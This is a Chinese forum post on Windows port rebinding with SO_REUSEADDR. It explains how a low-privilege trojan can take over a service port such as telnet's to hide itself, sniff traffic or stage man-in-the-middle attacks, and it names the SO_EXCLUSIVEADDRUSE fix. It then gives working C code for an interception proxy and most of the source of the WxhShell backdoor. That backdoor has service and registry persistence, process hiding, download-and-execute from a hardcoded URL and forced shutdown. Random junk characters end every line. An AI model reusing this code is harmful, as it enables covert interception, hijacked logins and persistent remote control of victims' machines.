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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~1p f ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ; ?!sU  
OX91b<A  
  saddr.sin_family = AF_INET; nP.d5%E  
@:}z\qBM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); piU4%EO  
,M9'S;&^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]Sh&8 #  
][3 "xP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ctf'/IZ5  
N'4*L=Ut  
  这意味着什么?意味着可以进行如下的攻击: SLW1]ZaG  
sB $!X@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !*p lK6a  
:H~r _>E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 46b.= }  
\>+gZc]an  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =Oy,SX  
rS=6d6@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B$)KZR(u  
Epx.0TA=t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t;'__">:q  
_v-sb(* J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YPN|qn(  
`|gCbs95  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /SyiJCx0  
s;bqUY?LD  
  #include @^%# ]x,:  
  #include _b+3;Dy  
  #include Q,scjt[  
  #include    Q?~l=}2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~! @a  
  int main() #VLTx!5o  
  { 'SC`->F4D  
  WORD wVersionRequested; FK->|  
  DWORD ret; cng 1k  
  WSADATA wsaData; h-<+Pjc  
  BOOL val; qu?D`29  
  SOCKADDR_IN saddr; )9}z^+TH  
  SOCKADDR_IN scaddr; }RXm=ArN  
  int err; wDn5|F}i&  
  SOCKET s; "F=O   
  SOCKET sc; zDX-}t_'q  
  int caddsize; m$]?Jq  
  HANDLE mt; XWkYhTaY  
  DWORD tid;   !O*\|7A(  
  wVersionRequested = MAKEWORD( 2, 2 ); <|v]9`'  
  err = WSAStartup( wVersionRequested, &wsaData ); YS/4<QA[  
  if ( err != 0 ) { zzM 'uo  
  printf("error!WSAStartup failed!\n"); /MA4Er r  
  return -1; 86[T BX5'  
  } g1Aq;Ah/  
  saddr.sin_family = AF_INET; o_?YYw-:  
   -q[?,h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J 9z\ qTI  
bEM-^SR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^*Sb)tu\ W  
  saddr.sin_port = htons(23); 0 j6/H?OT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^X^4R1V)  
  { X[R/j*K  
  printf("error!socket failed!\n"); U`xjau+  
  return -1; >XB Lm`a  
  } [-Dx)N  
  val = TRUE; &P rx=L`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QHK$2xtq|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y:xZ(RgfF  
  { B&cC;Hw  
  printf("error!setsockopt failed!\n"); r.[9/'>  
  return -1; jfk`%C Ek=  
  } fF ;-d2mF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fxjs"rD5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %{axoGd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  a(F%M  
A%pcPzG;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XSXS;Fh)  
  { m+zzhv1  
  ret=GetLastError(); _E3*;  
  printf("error!bind failed!\n"); *U8Pjb1  
  return -1; k\A8Z[  
  } rlgp1>89  
  listen(s,2); -Zkl\A$>  
  while(1) G >bQlZG  
  { c{z QX0  
  caddsize = sizeof(scaddr); >a[)F  
  //接受连接请求 q'[5h>Pa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4&}LYSZl  
  if(sc!=INVALID_SOCKET) 2}K7(y!?u  
  { 0X.pI1jCO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UE5T%zd/  
  if(mt==NULL) S-*4HV_l  
  { tv5G']vO\  
  printf("Thread Creat Failed!\n"); 6Z0@4_Y@B6  
  break; aH*)W'N?  
  } $0 eyp]XC\  
  } PE0A`  
  CloseHandle(mt); (]1n!  
  } Ovh[qm?Z  
  closesocket(s); \IIR2Xf,K  
  WSACleanup(); fQM:NI? 9?  
  return 0; '`I&g8I\  
  }   a?_N8|k[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6|L<? X  
  { `J#(ffo-  
  SOCKET ss = (SOCKET)lpParam; DR;rK[f  
  SOCKET sc; rUR{MF&]D  
  unsigned char buf[4096]; O$+0 .  
  SOCKADDR_IN saddr; > T=($:n  
  long num; 4u0=/pfi[  
  DWORD val; gh#9<  
  DWORD ret; xx_]e4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WL:CBE#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pO[ @2tF  
  saddr.sin_family = AF_INET; '(r/@%=U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !K'j[cA^  
  saddr.sin_port = htons(23); 1TJ2HO=Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N[:;f^bH49  
  { vWc=^tT   
  printf("error!socket failed!\n"); )l~:P uvh  
  return -1; &]iiBp#2  
  } B/6wp^#VX  
  val = 100; 1^jGSB.%A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VyK[*k yN  
  { ]yy10Pk[!  
  ret = GetLastError(); /I(IT=kp  
  return -1; Yj;KKgk  
  } ~dg7c{o5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ],V_"\ATD  
  { OrNi<TY>  
  ret = GetLastError(); (R5n ND  
  return -1; @m[q0G}  
  } Gm~jC <  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ErnjIx:  
  { L )p*D(  
  printf("error!socket connect failed!\n"); kZ~0fw-  
  closesocket(sc); d0vn/k2I  
  closesocket(ss); ~PAF2  
  return -1; F%M4i`Vh  
  } `f?v_Ui-$  
  while(1) I&%{%*y  
  { LQ(z~M0B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~gg(i"V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o`,|{K$H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fyaiRn9/  
  num = recv(ss,buf,4096,0); 6aRPm%  
  if(num>0) g<(3wL,"  
  send(sc,buf,num,0); LhO%^`vu  
  else if(num==0) z><u YO$  
  break; 5n{J}0C  
  num = recv(sc,buf,4096,0); 3D|Y4OM  
  if(num>0) ;;;aM:6\  
  send(ss,buf,num,0); IYAvO%~  
  else if(num==0) <+o*"z\mI  
  break; 1$mxMXNsJ  
  } HGM? ?=  
  closesocket(ss); sxc^n aK0  
  closesocket(sc); ZFYv|2l  
  return 0 ; .LMOmc=(  
  } nE;^xMOK!  
t+y$i@R:  
e1ts/@V  
========================================================== DO6Tz -%o  
:4JqT|nS  
下边附上一个代码,,WXhSHELL =Y!x  
DD5 S R  
========================================================== ~0/tU#&  
+c'b=n9j  
#include "stdafx.h" NEp )V'  
gJ;jh7e@  
#include <stdio.h> d+DdDr  
#include <string.h> CWKN0HB  
#include <windows.h> Zfwhg4G~  
#include <winsock2.h> vfBIQfH  
#include <winsvc.h> T .#cd1b  
#include <urlmon.h> J5Pi"U$FkY  
&ed&2t`Y  
#pragma comment (lib, "Ws2_32.lib") bT93R8yp  
#pragma comment (lib, "urlmon.lib") ' b?' u  
CVxqNR*DN  
#define MAX_USER   100 // 最大客户端连接数 - QPM$  
#define BUF_SOCK   200 // sock buffer "$P|!k45(  
#define KEY_BUFF   255 // 输入 buffer gbf2ty  
Yvmo%.oU  
#define REBOOT     0   // 重启 Z/ w}so  
#define SHUTDOWN   1   // 关机 (S<Z@y+d  
j<,Ho4v}_  
#define DEF_PORT   5000 // 监听端口 'OEh'\d+x  
i*ibx;s-  
#define REG_LEN     16   // 注册表键长度 3jR>   
#define SVC_LEN     80   // NT服务名长度 JdYmUM|K/c  
B8=r^!jEL  
// 从dll定义API n{Ce%gy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uO]^vP]fT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4S9hz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8&K1;l }  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ahJ -T@  
TTGk"2 Q'  
// wxhshell配置信息 "Sx}7?8AB  
struct WSCFG { 3jeB\  
  int ws_port;         // 监听端口 Gz09#nFZk  
  char ws_passstr[REG_LEN]; // 口令 C6<*'5T  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~%gO+qD  
  char ws_regname[REG_LEN]; // 注册表键名 _.}1 Y,Q  
  char ws_svcname[REG_LEN]; // 服务名 :2v^pg|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *;N6S~_'Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dio<?6ZD9P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m%$GiNs}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0;J#".(KQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8VWkUsOoI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;pH&YBY  
 iwiHw  
}; l(Y U9dp  
4k7 LM]  
// default Wxhshell configuration 2D'b7zPJ3  
struct WSCFG wscfg={DEF_PORT, /Ko{S_3< I  
    "xuhuanlingzhe", 44r@8HO1  
    1, JyiP3whW  
    "Wxhshell", `qXCY^BH2  
    "Wxhshell", E\$7tXQK6  
            "WxhShell Service", o x|K2A  
    "Wrsky Windows CmdShell Service", :NCY6? [Dz  
    "Please Input Your Password: ", s8O.yL  
  1, OCX>LK!K  
  "http://www.wrsky.com/wxhshell.exe", J`I^F:y*  
  "Wxhshell.exe" DA9-F  
    }; At t~N TL  
QXaE2}}P  
// 消息定义模块 th :I31  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = n>aJ(=Pd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {.r jp`39  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [c`u   
char *msg_ws_ext="\n\rExit."; G d%X> ~  
char *msg_ws_end="\n\rQuit."; B)L=)N  
char *msg_ws_boot="\n\rReboot..."; {?+dVLa^;  
char *msg_ws_poff="\n\rShutdown..."; E\_Wpk  
char *msg_ws_down="\n\rSave to "; Q`0 k=<  
wO-](3A-8P  
char *msg_ws_err="\n\rErr!"; .sqX>sU/]  
char *msg_ws_ok="\n\rOK!"; g %ZKn  
2SABu796j  
char ExeFile[MAX_PATH]; s:p6oEQ=J  
int nUser = 0; @nNhW  
HANDLE handles[MAX_USER]; M9PzA'}4W6  
int OsIsNt; f+c<|"we  
M~!DQ1u  
SERVICE_STATUS       serviceStatus; SWq5=h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s.uw,x  
dv7IHUFf  
// 函数声明 l<DpcLX  
int Install(void); s7 K](T4  
int Uninstall(void); q8=hUD%5C  
int DownloadFile(char *sURL, SOCKET wsh); q@@C|oqEX  
int Boot(int flag); P}2waJe  
void HideProc(void); [(81-j1v  
int GetOsVer(void); gK%^}xU+  
int Wxhshell(SOCKET wsl); g~/@`Z2Y  
void TalkWithClient(void *cs); $D%[}[2  
int CmdShell(SOCKET sock); Cg]Iz< <bE  
int StartFromService(void); GEd JB=  
int StartWxhshell(LPSTR lpCmdLine); e/J|wM9Ak  
h%=>iQ%enc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jmkVolz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I_aS C4  
gX'nFGqud  
// 数据结构和表定义 5 0KB:1(g  
SERVICE_TABLE_ENTRY DispatchTable[] = %=PGvu  
{ f 8AgTw,K8  
{wscfg.ws_svcname, NTServiceMain}, T+knd'2V6  
{NULL, NULL} [BLBxSL  
}; k6(9Rw8bCk  
p$+.]  
// 自我安装 naaww  
int Install(void) Fx]}<IudA^  
{ q\I2lZ  
  char svExeFile[MAX_PATH]; 9FKowF_8  
  HKEY key; PKK18E}{%^  
  strcpy(svExeFile,ExeFile); jn:9Cr,o;g  
qiyX{J7Z  
// 如果是win9x系统,修改注册表设为自启动 J|gRG0O9Ya  
if(!OsIsNt) { }$wWX}@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==^9_a^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [m+):q^  
  RegCloseKey(key); QKAt%"1&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?*K{1Ghf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&'[Xj  
  RegCloseKey(key); Up*.z\|'y  
  return 0; MmL)CT  
    } z{uRq A G  
  } YB?5s`vr9d  
} up^D9(y\  
else { 1 Vq)& N  
pf%B  
// 如果是NT以上系统,安装为系统服务 o 00(\ -eb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R>CIEL  
if (schSCManager!=0) 84|oqwZO  
{ \[CPI`yQe  
  SC_HANDLE schService = CreateService C\RJ){dk  
  ( 2 g`<*u*  
  schSCManager, Kc,=J?Ob  
  wscfg.ws_svcname, gq`S`  
  wscfg.ws_svcdisp, 'G|M_ e  
  SERVICE_ALL_ACCESS, BJ$\Mb##3@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %@Ow.7zh  
  SERVICE_AUTO_START, 1SY`V?cu  
  SERVICE_ERROR_NORMAL, R4 x!b`:i  
  svExeFile, !h[xeLlU  
  NULL, nS$_VJ]~  
  NULL, O dWZYWj  
  NULL, {OBV+}#  
  NULL, ']'V?@H]4  
  NULL ]Lz:oV^%  
  ); 6.(L8.jv  
  if (schService!=0) 4IUdlb  
  { Jp#Onl+d6  
  CloseServiceHandle(schService); ^v+3qm@,  
  CloseServiceHandle(schSCManager); M&q3xo"w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =IC cN|  
  strcat(svExeFile,wscfg.ws_svcname); R/BW$4/E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J.;{`U=:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xJemc3]2  
  RegCloseKey(key); O3];1ud  
  return 0; 1Bl;.8he.)  
    } u}~jNV  
  } ?mME^?x Mu  
  CloseServiceHandle(schSCManager); |9&bkojo  
} ]A%S&q  
} 'Io2",~ M  
`COnb@uD  
return 1; ]@G$ L,3  
} a*GiLq  
)h>H}wDs  
// 自我卸载 )i$:iI >k  
int Uninstall(void) kE` V@F  
{ D&C83^m  
  HKEY key; \:[J-ySJ  
 8-.jf  
if(!OsIsNt) { %'`L+y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xpp%j  
  RegDeleteValue(key,wscfg.ws_regname); E,EpzB$_dj  
  RegCloseKey(key); 873'=m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tY>_ +)oi  
  RegDeleteValue(key,wscfg.ws_regname); |Js?@  
  RegCloseKey(key); V#-\ 4`c  
  return 0; >mXq= 9L4  
  } yG~7Xo5  
} R|OY5@  
} :.J]s<J(F  
else { "'zVwU  
N |nZf5{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qi?xx')  
if (schSCManager!=0) %<?U`o@*  
{ .R! /?eN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S)L(~ N1  
  if (schService!=0)  L4 )  
  { 1nAAs;`'  
  if(DeleteService(schService)!=0) { 23_\UTM}1  
  CloseServiceHandle(schService); Dc;zgLLL  
  CloseServiceHandle(schSCManager); 7 8n`VmH~L  
  return 0; ^PrG5|,s  
  } x |0@T?  
  CloseServiceHandle(schService); 7!r)[2l  
  } vf-cx\y7  
  CloseServiceHandle(schSCManager); WN`|5"?$  
} 2J0N]`|)  
} *$/!.e  
E3`&W8  
return 1; `k.Nphx~%  
} Vh o3I[C  
3`3`iN!8\@  
// 从指定url下载文件 ckCb)r_  
int DownloadFile(char *sURL, SOCKET wsh) oe,37xa4  
{ [:xpz,  
  HRESULT hr; U?W?VEOO!7  
char seps[]= "/"; j 5{ "j  
char *token; f;Uf=.#F  
char *file; /~nPPC  
char myURL[MAX_PATH]; ?VaAVxd29  
char myFILE[MAX_PATH]; ek9Y9eJ"  
uL1$yf'  
strcpy(myURL,sURL); blHJhB&8  
  token=strtok(myURL,seps); #OE]'k Ss  
  while(token!=NULL) #\LsM ~,  
  { rh+2 7"  
    file=token; L,PD4H"8  
  token=strtok(NULL,seps); lemE/(`a_  
  } KBSO^<7  
9EIOa/*  
GetCurrentDirectory(MAX_PATH,myFILE); |',$5!:0O  
strcat(myFILE, "\\"); !W?6,i-]  
strcat(myFILE, file); =bDy :yY}  
  send(wsh,myFILE,strlen(myFILE),0); 5L%\rH&N  
send(wsh,"...",3,0); s J~WzQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JS{trqc1d  
  if(hr==S_OK) /QT"5fxKJ  
return 0; cZd{K[fuK  
else u U;]/  
return 1; f.X<Mo   
gI5"\"T{  
} IP3%'2}-  
uFH ]w] X  
// 系统电源模块 O77bm,E  
int Boot(int flag) ImZ!8#  
{ !GL kAV  
  HANDLE hToken; n$z+g>~N  
  TOKEN_PRIVILEGES tkp; BL?Bl&p(  
s4uYp  
  if(OsIsNt) { >56I`[)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hantGw |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0Xx&Z8E  
    tkp.PrivilegeCount = 1; KM o]J1o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LRa^x44  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "pLWJvj6-  
if(flag==REBOOT) { )*tV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1NI%J B  
  return 0; #eKg!]4-R  
} ?r"QJa>  
else { Okt0b|=`1*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }_vUsjK  
  return 0; ;{%R'  
} ^_C]?D?  
  } IA&NMf;{  
  else { 0S}ogU[k  
if(flag==REBOOT) { /rQ[Ik$|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ =(r6X  
  return 0; l*(Ml= O{  
} AIK99  
else { "z/)> ?Wn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $~s|%>@  
  return 0; =k +nC)e  
} e <]^7pz  
} 2$OI(7b=  
d=~-8]%\  
return 1; ? ^l{t4  
} rm"C|T4:V  
>3\($<YDZM  
// win9x进程隐藏模块 _RI!Z   
void HideProc(void) 07FS|>DM'Z  
{ 0!6n  
aUVJ\ ;V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rx\.x? &  
  if ( hKernel != NULL ) 7%x 3o#&  
  { Dx1w I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F )|0U~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P_{jZ}y(  
    FreeLibrary(hKernel); npD`9ff  
  } &R7N^*He  
+&j&es  
return; [h;&r"1  
} #MwNyZ  
6Uik>e7?  
// 获取操作系统版本 njoU0f1`  
int GetOsVer(void) EqB3f_  
{ G{C27k>wa  
  OSVERSIONINFO winfo; ,k=1 '7d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hynX5,p;.  
  GetVersionEx(&winfo); dd=' ;%?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -hjGPu  
  return 1; RqnT*  
  else p#fd+  
  return 0; Kx[u9MD  
} 7=e!k-G  
HXY,e$c#y  
// 客户端句柄模块 [->uDbtzL  
int Wxhshell(SOCKET wsl) %n7mN])  
{ )08mG_&atL  
  SOCKET wsh; sb^%eUU])  
  struct sockaddr_in client; N%:)MT,&g  
  DWORD myID; U! xOJ  
nS`DI92I  
  while(nUser<MAX_USER) N=hhuKt]  
{ E?@batIrf  
  int nSize=sizeof(client); KTzkJx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |#x]FNg  
  if(wsh==INVALID_SOCKET) return 1; \8 ~`NF  
=^L?Sgg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (ZI11[e{  
if(handles[nUser]==0) ^.]]0Rp&  
  closesocket(wsh); Fy!-1N9|l  
else sh|@X\EZO  
  nUser++; aLKvl~s;m  
  } GLIe8T*ht  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N9s ,..  
2S`D7R#6s  
  return 0; vI)-Zz[3  
} J#L"kz  
ag~4m5n*~  
// 关闭 socket K$K6,54y  
void CloseIt(SOCKET wsh) &1k2J   
{ Pn;Tg7oz  
closesocket(wsh); nWd]P\a'V  
nUser--; GNIZHyT(O  
ExitThread(0); vXA+4 ?ZG  
} >^!qx b-  
K/OE;;<IA  
// 客户端请求句柄 equTKM  
void TalkWithClient(void *cs) 8T2iqqG/1  
{ kS@6'5U  
_r6aLm2n  
  SOCKET wsh=(SOCKET)cs; S9'8rn!_  
  char pwd[SVC_LEN]; $cUTe  
  char cmd[KEY_BUFF]; /N'|Vs,X  
char chr[1]; l_`DQ8L`  
int i,j; >#j f Z5t  
ZV?~~_ 9  
  while (nUser < MAX_USER) { ==i:*  
.S{Q }S  
if(wscfg.ws_passstr) { #UO#kC<2(B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ig*qn# Dd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @fML.AT  
  //ZeroMemory(pwd,KEY_BUFF); 8D[,z 7n  
      i=0; n%"0%A  
  while(i<SVC_LEN) { S@N:Cj  
R>05MhA+  
  // 设置超时 qit D{;  
  fd_set FdRead; y&$mN  
  struct timeval TimeOut; S<+/Ep 2  
  FD_ZERO(&FdRead); AZi|85rN  
  FD_SET(wsh,&FdRead); >We:g Kxr  
  TimeOut.tv_sec=8; b<N962 q$q  
  TimeOut.tv_usec=0; H+VKWGmfG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T<\!7 RnLc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G31??L:<  
_ zh>q4M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X9d~r_2&m<  
  pwd=chr[0]; tBZ&h` V  
  if(chr[0]==0xd || chr[0]==0xa) { ^3q o%=i  
  pwd=0; &$!'Cw`,  
  break; J#pl7q)^w  
  } "gR W91 T  
  i++; 3*DwXH+  
    } w=r3QKm#K  
lQnl6j  
  // 如果是非法用户,关闭 socket cjd Z.jR2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ylEQeN  
} BgzER[g|q{  
\8I>^4t'/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C9`J6Uu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @y#QHJ.j  
 ?Cu1"bl  
while(1) { 7xmyjy%c  
:n4X>YL)  
  ZeroMemory(cmd,KEY_BUFF); :4ndU:.L  
 3e<FlH{  
      // 自动支持客户端 telnet标准   FzDZ<dJ  
  j=0; |#r [{2sS  
  while(j<KEY_BUFF) { 8, >YB+Hb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z&"-%l.b@}  
  cmd[j]=chr[0]; u)DhkF|  
  if(chr[0]==0xa || chr[0]==0xd) { #\Q{?F!4  
  cmd[j]=0; %/86}DCfE?  
  break; j70]2NgX  
  } ZW]Q|vPh4U  
  j++; 7,\Uk|  
    } yWs_Z6b  
| CC(`<\R  
  // 下载文件 `@Q%}J  
  if(strstr(cmd,"http://")) { ~B NLzt3%O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?Q~6\xA  
  if(DownloadFile(cmd,wsh)) Pmj]"7Vd[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BZXP%{njS  
  else I1H} 5 bf3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >UP{= `  
  } ed,w-;(n~  
  else { =-ky%3:`@  
"iCR68e  
    switch(cmd[0]) { ]m#.MZe  
  J| orvnkK  
  // 帮助 n.[0#Ur&}  
  case '?': { pP4i0mO{Dv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H?dmNwkPY  
    break; _L6WbRu|  
  } }HM8VAH  
  // 安装 5aF03+ko  
  case 'i': { > n~l\ fC  
    if(Install()) hrwQh2sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AC=/BU3<yc  
    else o@?3i+%}8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?G5JAG`  
    break; }`oe<|  
    } [TZlvX(E  
  // 卸载 y\'t{>U/  
  case 'r': { UF[2Rb8?  
    if(Uninstall()) sckyG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KfU4#2}  
    else (c /H$'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vrtK~5K  
    break; %$b)l? !  
    } "t<$ {  
  // 显示 wxhshell 所在路径 @j%r6N  
  case 'p': {  [69[Ct  
    char svExeFile[MAX_PATH]; oKIry 8'^N  
    strcpy(svExeFile,"\n\r"); _}X_^taTZS  
      strcat(svExeFile,ExeFile); n7 RswX  
        send(wsh,svExeFile,strlen(svExeFile),0); `?P k~7  
    break; Y$%/H"1bk  
    } *E<%db C2  
  // 重启 Ni$WI{e9  
  case 'b': { YfC1.8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P@Wi^svj  
    if(Boot(REBOOT)) _P!J0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.z;.&x  
    else { rp sq.n   
    closesocket(wsh); }]pq&v!  
    ExitThread(0); S~\i"A)4  
    } ."R,j|o6  
    break; $73j*@EQA  
    } v535LwFW  
  // 关机 &qki NS  
